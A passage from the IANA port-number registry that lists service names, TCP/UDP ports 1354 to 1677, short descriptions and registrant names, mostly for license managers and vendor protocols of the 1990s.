rightbrain 1354/udp RightBrain Software # Glenn Reid intuitive-edge 1355/tcp Intuitive Edge intuitive-edge 1355/udp Intuitive Edge # Montgomery Zukowski # cuillamartin 1356/tcp CuillaMartin Company cuillamartin 1356/udp CuillaMartin Company pegboard 1357/tcp Electronic PegBoard pegboard 1357/udp Electronic PegBoard # Chris Cuilla # connlcli 1358/tcp CONNLCLI connlcli 1358/udp CONNLCLI ftsrv 1359/tcp FTSRV ftsrv 1359/udp FTSRV # Ines Homem de Melo mimer 1360/tcp MIMER mimer 1360/udp MIMER # Per Schroeder linx 1361/tcp LinX linx 1361/udp LinX # Steffen Schilke <---none---> timeflies 1362/tcp TimeFlies timeflies 1362/udp TimeFlies # Doug Kent ndm-requester 1363/tcp Network DataMover Requester ndm-requester 1363/udp Network DataMover Requester ndm-server 1364/tcp Network DataMover Server ndm-server 1364/udp Network DataMover Server # Toshio Watanabe # adapt-sna 1365/tcp Network Software Associates adapt-sna 1365/udp Network Software Associates # Jeffery Chiao <714-768-401> netware-csp 1366/tcp Novell NetWare Comm Service Platform netware-csp 1366/udp Novell NetWare Comm Service Platform # Laurie Lindsey dcs 1367/tcp DCS dcs 1367/udp DCS # Stefan Siebert screencast 1368/tcp ScreenCast screencast 1368/udp ScreenCast # Bill Tschumy gv-us 1369/tcp GlobalView to Unix Shell gv-us 1369/udp GlobalView to Unix Shell us-gv 1370/tcp Unix Shell to GlobalView us-gv 1370/udp Unix Shell to GlobalView # Makoto Mita fc-cli 1371/tcp Fujitsu Config Protocol fc-cli 1371/udp Fujitsu Config Protocol fc-ser 1372/tcp Fujitsu Config Protocol fc-ser 1372/udp Fujitsu Config Protocol # Ryuichi Horie chromagrafx 1373/tcp Chromagrafx chromagrafx 1373/udp Chromagrafx # Mike Barthelemy molly 1374/tcp EPI Software Systems molly 1374/udp EPI Software Systems # Jim Vlcek bytex 1375/tcp Bytex bytex 1375/udp Bytex # Mary Ann Burt ibm-pps 1376/tcp IBM Person to Person Software ibm-pps 1376/udp IBM Person to Person Software # Simon Phipps cichlid 1377/tcp Cichlid License Manager cichlid 1377/udp Cichlid License Manager # Andy Burgess elan 1378/tcp Elan License Manager elan 1378/udp Elan License Manager # Ken Greer dbreporter 1379/tcp Integrity Solutions dbreporter 1379/udp Integrity Solutions # Tim Dawson telesis-licman 1380/tcp Telesis Network License Manager telesis-licman 1380/udp Telesis Network License Manager # Karl Schendel, Jr. apple-licman 1381/tcp Apple Network License Manager apple-licman 1381/udp Apple Network License Manager # Earl Wallace udt_os 1382/tcp udt_os 1382/udp gwha 1383/tcp GW Hannaway Network License Manager gwha 1383/udp GW Hannaway Network License Manager # J. Gabriel Foster os-licman 1384/tcp Objective Solutions License Manager os-licman 1384/udp Objective Solutions License Manager # Donald Cornwell atex_elmd 1385/tcp Atex Publishing License Manager atex_elmd 1385/udp Atex Publishing License Manager # Brett Sorenson checksum 1386/tcp CheckSum License Manager checksum 1386/udp CheckSum License Manager # Andreas Glocker cadsi-lm 1387/tcp Computer Aided Design Software Inc LM cadsi-lm 1387/udp Computer Aided Design Software Inc LM # Sulistio Muljadi objective-dbc 1388/tcp Objective Solutions DataBase Cache objective-dbc 1388/udp Objective Solutions DataBase Cache # Donald Cornwell iclpv-dm 1389/tcp Document Manager iclpv-dm 1389/udp Document Manager iclpv-sc 1390/tcp Storage Controller iclpv-sc 1390/udp Storage Controller iclpv-sas 1391/tcp Storage Access Server iclpv-sas 1391/udp Storage Access Server iclpv-pm 1392/tcp Print Manager iclpv-pm 1392/udp Print Manager iclpv-nls 1393/tcp Network Log Server iclpv-nls 1393/udp Network Log Server iclpv-nlc 1394/tcp Network Log Client iclpv-nlc 1394/udp Network Log Client iclpv-wsm 1395/tcp PC Workstation Manager software iclpv-wsm 1395/udp PC Workstation Manager software # A.P. Hobson dvl-activemail 1396/tcp DVL Active Mail dvl-activemail 1396/udp DVL Active Mail audio-activmail 1397/tcp Audio Active Mail audio-activmail 1397/udp Audio Active Mail video-activmail 1398/tcp Video Active Mail video-activmail 1398/udp Video Active Mail # Ehud Shapiro cadkey-licman 1399/tcp Cadkey License Manager cadkey-licman 1399/udp Cadkey License Manager cadkey-tablet 1400/tcp Cadkey Tablet Daemon cadkey-tablet 1400/udp Cadkey Tablet Daemon # Joe McCollough goldleaf-licman 1401/tcp Goldleaf License Manager goldleaf-licman 1401/udp Goldleaf License Manager # John Fox <---none---> prm-sm-np 1402/tcp Prospero Resource Manager prm-sm-np 1402/udp Prospero Resource Manager prm-nm-np 1403/tcp Prospero Resource Manager prm-nm-np 1403/udp Prospero Resource Manager # B. Clifford Neuman igi-lm 1404/tcp Infinite Graphics License Manager igi-lm 1404/udp Infinite Graphics License Manager ibm-res 1405/tcp IBM Remote Execution Starter ibm-res 1405/udp IBM Remote Execution Starter netlabs-lm 1406/tcp NetLabs License Manager netlabs-lm 1406/udp NetLabs License Manager dbsa-lm 1407/tcp DBSA License Manager dbsa-lm 1407/udp DBSA License Manager # Scott Shattuck sophia-lm 1408/tcp Sophia License Manager sophia-lm 1408/udp Sophia License Manager # Eric Brown here-lm 1409/tcp Here License Manager here-lm 1409/udp Here License Manager # David Ison hiq 1410/tcp HiQ License Manager hiq 1410/udp HiQ License Manager # Rick Pugh af 1411/tcp AudioFile af 1411/udp AudioFile # Jim Gettys innosys 1412/tcp InnoSys innosys 1412/udp InnoSys innosys-acl 1413/tcp Innosys-ACL innosys-acl 1413/udp Innosys-ACL # Eric Welch <--none---> ibm-mqseries 1414/tcp IBM MQSeries ibm-mqseries 1414/udp IBM MQSeries # Roger Meli dbstar 1415/tcp DBStar dbstar 1415/udp DBStar # Jeffrey Millman novell-lu6.2 1416/tcp Novell LU6.2 novell-lu6.2 1416/udp Novell LU6.2 # Peter Liu <--none---> timbuktu-srv1 1417/tcp Timbuktu Service 1 Port timbuktu-srv1 1417/udp Timbuktu Service 1 Port timbuktu-srv2 1418/tcp Timbuktu Service 2 Port timbuktu-srv2 1418/udp Timbuktu Service 2 Port timbuktu-srv3 1419/tcp Timbuktu Service 3 Port timbuktu-srv3 1419/udp Timbuktu Service 3 Port timbuktu-srv4 1420/tcp Timbuktu Service 4 Port timbuktu-srv4 1420/udp Timbuktu Service 4 Port # Marc Epard gandalf-lm 1421/tcp Gandalf License Manager gandalf-lm 1421/udp Gandalf License Manager # gilmer@gandalf.ca autodesk-lm 1422/tcp Autodesk License Manager autodesk-lm 1422/udp Autodesk License Manager # David Ko essbase 1423/tcp Essbase Arbor Software essbase 1423/udp Essbase Arbor Software hybrid 1424/tcp Hybrid Encryption Protocol hybrid 1424/udp Hybrid Encryption Protocol # Howard Hart zion-lm 1425/tcp Zion Software License Manager zion-lm 1425/udp Zion Software License Manager # David Ferrero sais 1426/tcp Satellite-data Acquisition System 1 sais 1426/udp Satellite-data Acquisition System 1 # Bill Taylor mloadd 1427/tcp mloadd monitoring tool mloadd 1427/udp mloadd monitoring tool # Bob Braden informatik-lm 1428/tcp Informatik License Manager informatik-lm 1428/udp Informatik License Manager # Harald Schlangmann # nms 1429/tcp Hypercom NMS nms 1429/udp Hypercom NMS tpdu 1430/tcp Hypercom TPDU tpdu 1430/udp Hypercom TPDU # Noor Chowdhury rgtp 1431/tcp Reverse Gossip Transport rgtp 1431/udp Reverse Gossip Transport # Ian Jackson blueberry-lm 1432/tcp Blueberry Software License Manager blueberry-lm 1432/udp Blueberry Software License Manager # Steve Beigel ms-sql-s 1433/tcp Microsoft-SQL-Server ms-sql-s 1433/udp Microsoft-SQL-Server ms-sql-m 1434/tcp Microsoft-SQL-Monitor ms-sql-m 1434/udp Microsoft-SQL-Monitor # Peter Hussey ibm-cics 1435/tcp IBM CICS ibm-cics 1435/udp IBM CICS # Geoff Meacock saism 1436/tcp Satellite-data Acquisition System 2 saism 1436/udp Satellite-data Acquisition System 2 # Bill Taylor tabula 1437/tcp Tabula tabula 1437/udp Tabula # Marcelo Einhorn # eicon-server 1438/tcp Eicon Security Agent/Server eicon-server 1438/udp Eicon Security Agent/Server eicon-x25 1439/tcp Eicon X25/SNA Gateway eicon-x25 1439/udp Eicon X25/SNA Gateway eicon-slp 1440/tcp Eicon Service Location Protocol eicon-slp 1440/udp Eicon Service Location Protocol # Pat Calhoun cadis-1 1441/tcp Cadis License Management cadis-1 1441/udp Cadis License Management cadis-2 1442/tcp Cadis License Management cadis-2 1442/udp Cadis License Management # Todd Wichers ies-lm 1443/tcp Integrated Engineering Software ies-lm 1443/udp Integrated Engineering Software # David Tong marcam-lm 1444/tcp Marcam License Management marcam-lm 1444/udp Marcam License Management # Therese Hunt proxima-lm 1445/tcp Proxima License Manager proxima-lm 1445/udp Proxima License Manager ora-lm 1446/tcp Optical Research Associates License Manager ora-lm 1446/udp Optical Research Associates License Manager apri-lm 1447/tcp Applied Parallel Research LM apri-lm 1447/udp Applied Parallel Research LM # Jim Dillon oc-lm 1448/tcp OpenConnect License Manager oc-lm 1448/udp OpenConnect License Manager # Sue Barnhill peport 1449/tcp PEport peport 1449/udp PEport # Qentin Neill dwf 1450/tcp Tandem Distributed Workbench Facility dwf 1450/udp Tandem Distributed Workbench Facility # Mike Bert infoman 1451/tcp IBM Information Management infoman 1451/udp IBM Information Management # Karen Burns <---none---> gtegsc-lm 1452/tcp GTE Government Systems License Man gtegsc-lm 1452/udp GTE Government Systems License Man # Mike Gregory genie-lm 1453/tcp Genie License Manager genie-lm 1453/udp Genie License Manager # Paul Applegate interhdl_elmd 1454/tcp interHDL License Manager interhdl_elmd 1454/udp interHDL License Manager # Eli Sternheim eli@interhdl.com esl-lm 1455/tcp ESL License Manager esl-lm 1455/udp ESL License Manager # Abel Chou dca 1456/tcp DCA dca 1456/udp DCA # Jeff Garbers valisys-lm 1457/tcp Valisys License Manager valisys-lm 1457/udp Valisys License Manager # Leslie Lincoln nrcabq-lm 1458/tcp Nichols Research Corp. nrcabq-lm 1458/udp Nichols Research Corp. # Howard Cole proshare1 1459/tcp Proshare Notebook Application proshare1 1459/udp Proshare Notebook Application proshare2 1460/tcp Proshare Notebook Application proshare2 1460/udp Proshare Notebook Application # Robin Kar ibm_wrless_lan 1461/tcp IBM Wireless LAN ibm_wrless_lan 1461/udp IBM Wireless LAN # world-lm 1462/tcp World License Manager world-lm 1462/udp World License Manager # Michael S Amirault nucleus 1463/tcp Nucleus nucleus 1463/udp Nucleus # Venky Nagar msl_lmd 1464/tcp MSL License Manager msl_lmd 1464/udp MSL License Manager # Matt Timmermans pipes 1465/tcp Pipes Platform pipes 1465/udp Pipes Platform mfarlin@peerlogic.com # Mark Farlin oceansoft-lm 1466/tcp Ocean Software License Manager oceansoft-lm 1466/udp Ocean Software License Manager # Randy Leonard csdmbase 1467/tcp CSDMBASE csdmbase 1467/udp CSDMBASE csdm 1468/tcp CSDM csdm 1468/udp CSDM # Robert Stabl aal-lm 1469/tcp Active Analysis Limited License Manager aal-lm 1469/udp Active Analysis Limited License Manager # David Snocken +44 (71)437-7009 uaiact 1470/tcp Universal Analytics uaiact 1470/udp Universal Analytics # Mark R. Ludwig csdmbase 1471/tcp csdmbase csdmbase 1471/udp csdmbase csdm 1472/tcp csdm csdm 1472/udp csdm # Robert Stabl openmath 1473/tcp OpenMath openmath 1473/udp OpenMath # Garth Mayville telefinder 1474/tcp Telefinder telefinder 1474/udp Telefinder # Jim White taligent-lm 1475/tcp Taligent License Manager taligent-lm 1475/udp Taligent License Manager # Mark Sapsford clvm-cfg 1476/tcp clvm-cfg clvm-cfg 1476/udp clvm-cfg # Eric Soderberg ms-sna-server 1477/tcp ms-sna-server ms-sna-server 1477/udp ms-sna-server ms-sna-base 1478/tcp ms-sna-base ms-sna-base 1478/udp ms-sna-base # Gordon Mangione dberegister 1479/tcp dberegister dberegister 1479/udp dberegister # Brian Griswold pacerforum 1480/tcp PacerForum pacerforum 1480/udp PacerForum # Peter Caswell airs 1481/tcp AIRS airs 1481/udp AIRS # Bruce Wilson, 905-771-6161 miteksys-lm 1482/tcp Miteksys License Manager miteksys-lm 1482/udp Miteksys License Manager # Shane McRoberts afs 1483/tcp AFS License Manager afs 1483/udp AFS License Manager # Michael R. Pizolato confluent 1484/tcp Confluent License Manager confluent 1484/udp Confluent License Manager # James Greenfiel lansource 1485/tcp LANSource lansource 1485/udp LANSource # Doug Scott nms_topo_serv 1486/tcp nms_topo_serv nms_topo_serv 1486/udp nms_topo_serv # Sylvia Siu localinfosrvr 1487/tcp LocalInfoSrvr localinfosrvr 1487/udp LocalInfoSrvr # Brian Matthews docstor 1488/tcp DocStor docstor 1488/udp DocStor # Brian Spears dmdocbroker 1489/tcp dmdocbroker dmdocbroker 1489/udp dmdocbroker # Razmik Abnous insitu-conf 1490/tcp insitu-conf insitu-conf 1490/udp insitu-conf # Paul Blacknell anynetgateway 1491/tcp anynetgateway anynetgateway 1491/udp anynetgateway # Dan Poirier stone-design-1 1492/tcp stone-design-1 stone-design-1 1492/udp stone-design-1 # Andrew Stone netmap_lm 1493/tcp netmap_lm netmap_lm 1493/udp netmap_lm # Phillip Magson ica 1494/tcp ica ica 1494/udp ica # John Richardson, Citrix Systems cvc 1495/tcp cvc cvc 1495/udp cvc # Bill Davidson liberty-lm 1496/tcp liberty-lm liberty-lm 1496/udp liberty-lm # Jim Rogers rfx-lm 1497/tcp rfx-lm rfx-lm 1497/udp rfx-lm # Bill Bishop sybase-sqlany 1498/tcp Sybase SQL Any sybase-sqlany 1498/udp Sybase SQL Any # Dave Neudoerffer fhc 1499/tcp Federico Heinz Consultora fhc 1499/udp Federico Heinz Consultora # Federico Heinz vlsi-lm 1500/tcp VLSI License Manager vlsi-lm 1500/udp VLSI License Manager # Shue-Lin Kuo saiscm 1501/tcp Satellite-data Acquisition System 3 saiscm 1501/udp Satellite-data Acquisition System 3 # Bill Taylor shivadiscovery 1502/tcp Shiva shivadiscovery 1502/udp Shiva # Jonathan Wenocur imtc-mcs 1503/tcp Databeam imtc-mcs 1503/udp Databeam # Jim Johnston evb-elm 1504/tcp EVB Software Engineering License Manager evb-elm 1504/udp EVB Software Engineering License Manager # B.G. Mahesh < mahesh@sett.com> funkproxy 1505/tcp Funk Software, Inc. funkproxy 1505/udp Funk Software, Inc. # Robert D. Vincent utcd 1506/tcp Universal Time daemon (utcd) utcd 1506/udp Universal Time daemon (utcd) # Walter Poxon symplex 1507/tcp symplex symplex 1507/udp symplex # Mike Turley diagmond 1508/tcp diagmond diagmond 1508/udp diagmond # Pete Moscatelli robcad-lm 1509/tcp Robcad, Ltd. License Manager robcad-lm 1509/udp Robcad, Ltd. License Manager # Hindin Joseph mvx-lm 1510/tcp Midland Valley Exploration Ltd. Lic. Man. mvx-lm 1510/udp Midland Valley Exploration Ltd. Lic. Man. # Neil Salter Laszlo 3l-l1 1511/tcp 3l-l1 3l-l1 1511/udp 3l-l1 # Ian A. Young wins 1512/tcp Microsoft's Windows Internet Name Service wins 1512/udp Microsoft's Windows Internet Name Service # Pradeep Bahl fujitsu-dtc 1513/tcp Fujitsu Systems Business of America, Inc fujitsu-dtc 1513/udp Fujitsu Systems Business of America, Inc fujitsu-dtcns 1514/tcp Fujitsu Systems Business of America, Inc fujitsu-dtcns 1514/udp Fujitsu Systems Business of America, Inc # Charles A. Higgins <75730.2257@compuserve.com> ifor-protocol 1515/tcp ifor-protocol ifor-protocol 1515/udp ifor-protocol # Dr. R.P. Alston vpad 1516/tcp Virtual Places Audio data vpad 1516/udp Virtual Places Audio data vpac 1517/tcp Virtual Places Audio control vpac 1517/udp Virtual Places Audio control vpvd 1518/tcp Virtual Places Video data vpvd 1518/udp Virtual Places Video data vpvc 1519/tcp Virtual Places Video control vpvc 1519/udp Virtual Places Video control # Ehud Shapiro atm-zip-office 1520/tcp atm zip office atm-zip-office 1520/udp atm zip office # Wilson Kwan ncube-lm 1521/tcp nCube License Manager ncube-lm 1521/udp nCube License Manager # Maxine Yuen ricardo-lm 1522/tcp Ricardo North America License Manager ricardo-lm 1522/udp Ricardo North America License Manager # Mike Flemming cichild-lm 1523/tcp cichild cichild-lm 1523/udp cichild # Andy Burgess ingreslock 1524/tcp ingres ingreslock 1524/udp ingres orasrv 1525/tcp oracle orasrv 1525/udp oracle prospero-np 1525/tcp Prospero Directory Service non-priv prospero-np 1525/udp Prospero Directory Service non-priv pdap-np 1526/tcp Prospero Data Access Prot non-priv pdap-np 1526/udp Prospero Data Access Prot non-priv # B. Clifford Neuman tlisrv 1527/tcp oracle tlisrv 1527/udp oracle mciautoreg 1528/tcp micautoreg mciautoreg 1528/udp micautoreg # John Klensin coauthor 1529/tcp oracle coauthor 1529/udp oracle rap-service 1530/tcp rap-service rap-service 1530/udp rap-service rap-listen 1531/tcp rap-listen rap-listen 1531/udp rap-listen # Phil Servita miroconnect 1532/tcp miroconnect miroconnect 1532/udp miroconnect # Michael Fischer +49 531 21 13 0 virtual-places 1533/tcp Virtual Places Software virtual-places 1533/udp Virtual Places Software # Ehud Shapiro micromuse-lm 1534/tcp micromuse-lm micromuse-lm 1534/udp micromuse-lm # Adam Kerrison ampr-info 1535/tcp ampr-info ampr-info 1535/udp ampr-info ampr-inter 1536/tcp ampr-inter ampr-inter 1536/udp ampr-inter # Rob Janssen sdsc-lm 1537/tcp isi-lm sdsc-lm 1537/udp isi-lm # Len Wanger 3ds-lm 1538/tcp 3ds-lm 3ds-lm 1538/udp 3ds-lm # Keith Trummel intellistor-lm 1539/tcp Intellistor License Manager intellistor-lm 1539/udp Intellistor License Manager # Ron Vaughn rds 1540/tcp rds rds 1540/udp rds rds2 1541/tcp rds2 rds2 1541/udp rds2 # Sudhakar Rajamannar gridgen-elmd 1542/tcp gridgen-elmd gridgen-elmd 1542/udp gridgen-elmd # John R. Chawner +1 817 354-1004 simba-cs 1543/tcp simba-cs simba-cs 1543/udp simba-cs # Betsy Alexander +1 604-681-4549 aspeclmd 1544/tcp aspeclmd aspeclmd 1544/udp aspeclmd # V. Balaji vistium-share 1545/tcp vistium-share vistium-share 1545/udp vistium-share # Allison Carleton abbaccuray 1546/tcp abbaccuray abbaccuray 1546/udp abbaccuray # John Wendt 614-261-2000 laplink 1547/tcp laplink laplink 1547/udp laplink # Michael Crawford axon-lm 1548/tcp Axon License Manager axon-lm 1548/udp Axon License Manager # Mark Pearce < shivahose 1549/tcp Shiva Hose shivasound 1549/udp Shiva Sound # Kin Chan 3m-image-lm 1550/tcp Image Storage license manager 3M Company 3m-image-lm 1550/udp Image Storage license manager 3M Company # J. C. Canessa hecmtl-db 1551/tcp HECMTL-DB hecmtl-db 1551/udp HECMTL-DB # Maxime Belanger pciarray 1552/tcp pciarray pciarray 1552/udp pciarray # Ron Folk sna-cs 1553/tcp sna-cs sna-cs 1553/udp sna-cs # Tony Sowter caci-lm 1554/tcp CACI Products Company License Manager caci-lm 1554/udp CACI Products Company License Manager # Erik Blume livelan 1555/tcp livelan livelan 1555/udp livelan # khedayat@roadrunner.pictel.com ashwin 1556/tcp AshWin CI Tecnologies ashwin 1556/udp AshWin CI Tecnologies # Dave Neal arbortext-lm 1557/tcp ArborText License Manager arbortext-lm 1557/udp ArborText License Manager # David J. Wilson xingmpeg 1558/tcp xingmpeg xingmpeg 1558/udp xingmpeg # Howard Gordon web2host 1559/tcp web2host web2host 1559/udp web2host # Stephen Johnson asci-val 1560/tcp asci-val asci-val 1560/udp asci-val # Brian Schenkenberger facilityview 1561/tcp facilityview facilityview 1561/udp facilityview # Ed Green pconnectmgr 1562/tcp pconnectmgr pconnectmgr 1562/udp pconnectmgr # Bob Kaiser cadabra-lm 1563/tcp Cadabra License Manager cadabra-lm 1563/udp Cadabra License Manager # Arthur Castonguay pay-per-view 1564/tcp Pay-Per-View pay-per-view 1564/udp Pay-Per-View # Brian Tung winddlb 1565/tcp WinDD winddlb 1565/udp WinDD # Kelly Sims corelvideo 1566/tcp CORELVIDEO corelvideo 1566/udp CORELVIDEO # Ming Poon jlicelmd 1567/tcp jlicelmd jlicelmd 1567/udp jlicelmd # Christian Schormann <100410.3063@compuserve.com> tsspmap 1568/tcp tsspmap tsspmap 1568/udp tsspmap # Paul W. Nelson ets 1569/tcp ets ets 1569/udp ets # Carstein Seeberg orbixd 1570/tcp orbixd orbixd 1570/udp orbixd # Bridget Walsh rdb-dbs-disp 1571/tcp Oracle Remote Data Base rdb-dbs-disp 1571/udp Oracle Remote Data Base # chip-lm 1572/tcp Chipcom License Manager chip-lm 1572/udp Chipcom License Manager # Jerry Natowitz itscomm-ns 1573/tcp itscomm-ns itscomm-ns 1573/udp itscomm-ns # Rich Thompson mvel-lm 1574/tcp mvel-lm mvel-lm 1574/udp mvel-lm # David Bisset oraclenames 1575/tcp oraclenames oraclenames 1575/udp oraclenames # P.V.Shivkumar moldflow-lm 1576/tcp moldflow-lm moldflow-lm 1576/udp moldflow-lm # Paul Browne hypercube-lm 1577/tcp hypercube-lm hypercube-lm 1577/udp hypercube-lm # Christopher McLendon jacobus-lm 1578/tcp Jacobus License Manager jacobus-lm 1578/udp Jacobus License Manager # Tony Cleveland ioc-sea-lm 1579/tcp ioc-sea-lm ioc-sea-lm 1579/udp ioc-sea-lm # Paul Nelson tn-tl-r1 1580/tcp tn-tl-r1 tn-tl-r2 1580/udp tn-tl-r2 # Ed Kress mil-2045-47001 1581/tcp MIL-2045-47001 mil-2045-47001 1581/udp MIL-2045-47001 # Eric Whitehill msims 1582/tcp MSIMS msims 1582/udp MSIMS # Glenn Olander simbaexpress 1583/tcp simbaexpress simbaexpress 1583/udp simbaexpress # Betsy Alexander +1 604-681-4549 tn-tl-fd2 1584/tcp tn-tl-fd2 tn-tl-fd2 1584/udp tn-tl-fd2 # Ed Kress intv 1585/tcp intv intv 1585/udp intv # Dermot Tynand ibm-abtact 1586/tcp ibm-abtact ibm-abtact 1586/udp ibm-abtact # Sandeep K. Singhal pra_elmd 1587/tcp pra_elmd pra_elmd 1587/udp pra_elmd # Dennis Mastin triquest-lm 1588/tcp triquest-lm triquest-lm 1588/udp triquest-lm # Nand Kumar vqp 1589/tcp VQP vqp 1589/udp VQP # Keith McCloghrie gemini-lm 1590/tcp gemini-lm gemini-lm 1590/udp gemini-lm # Tony Sawyer ncpm-pm 1591/tcp ncpm-pm ncpm-pm 1591/udp ncpm-pm # Ted Power commonspace 1592/tcp commonspace commonspace 1592/udp commonspace # Rob Chandhok mainsoft-lm 1593/tcp mainsoft-lm mainsoft-lm 1593/udp mainsoft-lm # Anand Gangadharan sixtrak 1594/tcp sixtrak sixtrak 1594/udp sixtrak # Bob Rennie radio 1595/tcp radio radio 1595/udp radio radio-sm 1596/tcp radio-sm radio-bc 1596/udp radio-bc # Ken Chapman orbplus-iiop 1597/tcp orbplus-iiop orbplus-iiop 1597/udp orbplus-iiop # Robert A. Kukura picknfs 1598/tcp picknfs picknfs 1598/udp picknfs # John Lombardo simbaservices 1599/tcp simbaservices simbaservices 1599/udp simbaservices # Betsy Alexander +1 604-681-4549 issd 1600/tcp issd 1600/udp aas 1601/tcp aas aas 1601/udp aas # Bob Beard inspect 1602/tcp inspect inspect 1602/udp inspect # Frank O'Neill picodbc 1603/tcp pickodbc picodbc 1603/udp pickodbc # John Lombardo icabrowser 1604/tcp icabrowser icabrowser 1604/udp icabrowser # Brad Pedersen slp 1605/tcp Salutation Manager (Salutation Protocol) slp 1605/udp Salutation Manager (Salutation Protocol) slm-api 1606/tcp Salutation Manager (SLM-API) slm-api 1606/udp Salutation Manager (SLM-API) # Tohru Mori stt 1607/tcp stt stt 1607/udp stt # Ryan Bolz smart-lm 1608/tcp Smart Corp. License Manager smart-lm 1608/udp Smart Corp. License Manager # Connie Qiu isysg-lm 1609/tcp isysg-lm isysg-lm 1609/udp isysg-lm # Adam Curtin taurus-wh 1610/tcp taurus-wh taurus-wh 1610/udp taurus-wh # Jeff Moffatt ill 1611/tcp Inter Library Loan ill 1611/udp Inter Library Loan # Niall Murphy netbill-trans 1612/tcp NetBill Transaction Server netbill-trans 1612/udp NetBill Transaction Server netbill-keyrep 1613/tcp NetBill Key Repository netbill-keyrep 1613/udp NetBill Key Repository netbill-cred 1614/tcp NetBill Credential Server netbill-cred 1614/udp NetBill Credential Server netbill-auth 1615/tcp NetBill Authorization Server netbill-auth 1615/udp NetBill Authorization Server netbill-prod 1616/tcp NetBill Product Server netbill-prod 1616/udp NetBill Product Server # Marvin Sirbu nimrod-agent 1617/tcp Nimrod Inter-Agent Communication nimrod-agent 1617/udp Nimrod Inter-Agent Communication # Charles Lynn skytelnet 1618/tcp skytelnet skytelnet 1618/udp skytelnet # Byron Jones xs-openstorage 1619/tcp xs-openstorage xs-openstorage 1619/udp xs-openstorage # XuiS Software Ltd. <100322.2376@compuserve.com> faxportwinport 1620/tcp faxportwinport faxportwinport 1620/udp faxportwinport # Chris Wells softdataphone 1621/tcp softdataphone softdataphone 1621/udp softdataphone # Dror Gill n ontime 1622/tcp ontime ontime 1622/udp ontime # Keith Rhodes 810-559-5955 jaleosnd 1623/tcp jaleosnd jaleosnd 1623/udp jaleosnd # Christian Schormann <100410.3063@compuserve.com> udp-sr-port 1624/tcp udp-sr-port udp-sr-port 1624/udp udp-sr-port # Herb Jensen svs-omagent 1625/tcp svs-omagent svs-omagent 1625/udp svs-omagent # Alberto Berlen shockwave 1626/tcp Shockwave shockwave 1626/udp Shockwave # Sarah Allen t128-gateway 1627/tcp T.128 Gateway t128-gateway 1627/udp T.128 Gateway # Phil May longtalk-norm 1628/tcp LongTalk normal longtalk-norm 1628/udp LongTalk normal longtalk-urgnt 1629/tcp LongTalk urgent longtalk-urgnt 1629/udp LongTalk urgent # Dan Wing oraclenet8cman 1630/tcp Oracle Net8 Cman oraclenet8cman 1630/udp Oracle Net8 Cman # Tong-Ming Lee visitview 1631/tcp Visit view visitview 1631/udp Visit view # Tom Whittaker pammratc 1632/tcp PAMMRATC pammratc 1632/udp PAMMRATC pammrpc 1633/tcp PAMMRPC pammrpc 1633/udp PAMMRPC # John Britton loaprobe 1634/tcp Log On America Probe loaprobe 1634/udp Log On America Probe # James Tavares, Log On America edb-server1 1635/tcp EDB Server 1 edb-server1 1635/udp EDB Server 1 # Carlos Portela cncp 1636/tcp CableNet Control Protocol cncp 1636/udp CableNet Control Protocol cnap 1637/tcp CableNet Admin Protocol cnap 1637/udp CableNet Admin Protocol cnip 1638/tcp CableNet Info Protocol cnip 1638/udp CableNet Info Protocol # Damian Hamill cert-initiator 1639/tcp cert-initiator cert-initiator 1639/udp cert-initiator cert-responder 1640/tcp cert-responder cert-responder 1640/udp cert-responder # Tom Markson invision 1641/tcp InVision invision 1641/udp InVision # Christopher Davey isis-am 1642/tcp isis-am isis-am 1642/udp isis-am isis-ambc 1643/tcp isis-ambc isis-ambc 1643/udp isis-ambc # Ken Chapman saiseh 1644/tcp Satellite-data Acquisition System 4 # Bill Taylor datametrics 1645/tcp datametrics datametrics 1645/udp datametrics # Jerry Jongerius sa-msg-port 1646/tcp sa-msg-port sa-msg-port 1646/udp sa-msg-port # Eric Whitehill rsap 1647/tcp rsap rsap 1647/udp rsap # Holger Reif # concurrent-lm 1648/tcp concurrent-lm concurrent-lm 1648/udp concurrent-lm # Maggie Brinsford kermit 1649/tcp kermit kermit 1649/udp kermit # Frank da Cruz nkd 1650/tcp nkd nkd 1650/udp nkd shiva_confsrvr 1651/tcp shiva_confsrvr shiva_confsrvr 1651/udp shiva_confsrvr # Mike Horowitz xnmp 1652/tcp xnmp xnmp 1652/udp xnmp # Ali Saleh alphatech-lm 1653/tcp alphatech-lm alphatech-lm 1653/udp alphatech-lm # Joseph Hauk stargatealerts 1654/tcp stargatealerts stargatealerts 1654/udp stargatealerts # Tim Coppernoll # dec-mbadmin 1655/tcp dec-mbadmin dec-mbadmin 1655/udp dec-mbadmin dec-mbadmin-h 1656/tcp dec-mbadmin-h dec-mbadmin-h 1656/udp dec-mbadmin-h # Nick Shipman fujitsu-mmpdc 1657/tcp fujitsu-mmpdc fujitsu-mmpdc 1657/udp fujitsu-mmpdc # Katsumi Oomuro sixnetudr 1658/tcp sixnetudr sixnetudr 1658/udp sixnetudr # Bob Rennie sg-lm 1659/tcp Silicon Grail License Manager sg-lm 1659/udp Silicon Grail License Manager # William R Bishop skip-mc-gikreq 1660/tcp skip-mc-gikreq skip-mc-gikreq 1660/udp skip-mc-gikreq # Tom Markson netview-aix-1 1661/tcp netview-aix-1 netview-aix-1 1661/udp netview-aix-1 netview-aix-2 1662/tcp netview-aix-2 netview-aix-2 1662/udp netview-aix-2 netview-aix-3 1663/tcp netview-aix-3 netview-aix-3 1663/udp netview-aix-3 netview-aix-4 1664/tcp netview-aix-4 netview-aix-4 1664/udp netview-aix-4 netview-aix-5 1665/tcp netview-aix-5 netview-aix-5 1665/udp netview-aix-5 netview-aix-6 1666/tcp netview-aix-6 netview-aix-6 1666/udp netview-aix-6 netview-aix-7 1667/tcp netview-aix-7 netview-aix-7 1667/udp netview-aix-7 netview-aix-8 1668/tcp netview-aix-8 netview-aix-8 1668/udp netview-aix-8 netview-aix-9 1669/tcp netview-aix-9 netview-aix-9 1669/udp netview-aix-9 netview-aix-10 1670/tcp netview-aix-10 netview-aix-10 1670/udp netview-aix-10 netview-aix-11 1671/tcp netview-aix-11 netview-aix-11 1671/udp netview-aix-11 netview-aix-12 1672/tcp netview-aix-12 netview-aix-12 1672/udp netview-aix-12 # Martha Crisson proshare-mc-1 1673/tcp Intel Proshare Multicast proshare-mc-1 1673/udp Intel Proshare Multicast proshare-mc-2 1674/tcp Intel Proshare Multicast proshare-mc-2 1674/udp Intel Proshare Multicast # Mark Lewis pdp 1675/tcp Pacific Data Products pdp 1675/udp Pacific Data Products # Gary Morton netcomm1 1676/tcp netcomm1 netcomm2 1676/udp netcomm2 # Bulent Kasman groupwise 1677/tcp groupwise 